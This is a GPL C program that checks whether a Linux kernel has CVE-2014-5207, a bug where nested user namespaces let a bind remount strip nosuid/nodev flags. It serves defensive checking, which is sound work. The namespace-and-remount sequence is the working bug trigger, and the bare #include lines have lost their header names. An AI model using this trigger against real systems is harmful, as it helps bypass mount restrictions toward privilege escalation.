/* Test case for CVE-2014-5207 Copyright (c) 2014 Andy Lutomirski This program can be distributed under the terms of the GNU GPL. See the file COPYING. This is not an exploit; all it does is check whether the bug exists. */ #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #define MOUNT_NAME "check-CVE_2014_5207" #define MOUNT_PATH "/tmp" static void show_state(void) { char buf[1024]; FILE *mountinfo = fopen("/proc/self/mountinfo", "r"); if (!mountinfo) err(1, "/proc/self/mountinfo"); while (fgets(buf, sizeof(buf), mountinfo)) { if (strstr(buf, MOUNT_NAME)) printf("%s", buf); } } static void set_map(const char *path, uid_t outer) { char buf[1024]; int fd = open(path, O_WRONLY); if (fd == -1) err(1, "open map"); sprintf(buf, "0 %ld 1", (long)outer); if (write(fd, buf, strlen(buf)) != strlen(buf)) err(1, "write map"); close(fd); } int main() { uid_t euid = geteuid(); gid_t egid = getegid(); printf("Preparing (failures here are inconclusive)...\n"); if (unshare(CLONE_NEWUSER | CLONE_NEWNS) != 0) err(1, "unshare"); set_map("/proc/self/uid_map", euid); set_map("/proc/self/gid_map", egid); if (mount("/", "/", NULL, MS_REC | MS_PRIVATE, NULL) != 0) err(1, "make-rprivate"); if (mount(MOUNT_NAME, MOUNT_PATH, "tmpfs", MS_NOSUID | MS_NODEV, NULL) != 0) err(1, "mount tmpfs"); show_state(); if (unshare(CLONE_NEWUSER | CLONE_NEWNS) != 0) err(1, "unshare"); set_map("/proc/self/uid_map", 0); set_map("/proc/self/gid_map", 0); printf("Testing...\n"); if (mount(MOUNT_PATH, MOUNT_PATH, NULL, MS_REMOUNT | MS_BIND, NULL) != 0) { printf("Remount failed; you should be safe.\n"); } else { printf("Remount succeeded; you are vulnerable.\n"); show_state(); return 0; } /* Just in case, check for a CVE-2014-5206-like bug. */ if (mount(MOUNT_PATH, MOUNT_PATH, NULL, MS_BIND | MS_NOSUID | MS_NODEV, NULL) != 0) err(1, "extra-paranoid bind"); if (mount(MOUNT_PATH, MOUNT_PATH, NULL, MS_BIND | MS_REMOUNT | MS_NOSUID | MS_NODEV, NULL) != 0) err(1, "extra-paranoid remount 1"); if (mount(MOUNT_PATH, MOUNT_PATH, NULL, MS_BIND | MS_REMOUNT, NULL) != 0) { printf("Fancy retry also failed, which is good.\n"); } else { printf("Fancy retry succeeded, which means you may still be vulnerable\n"); show_state(); } return 0; }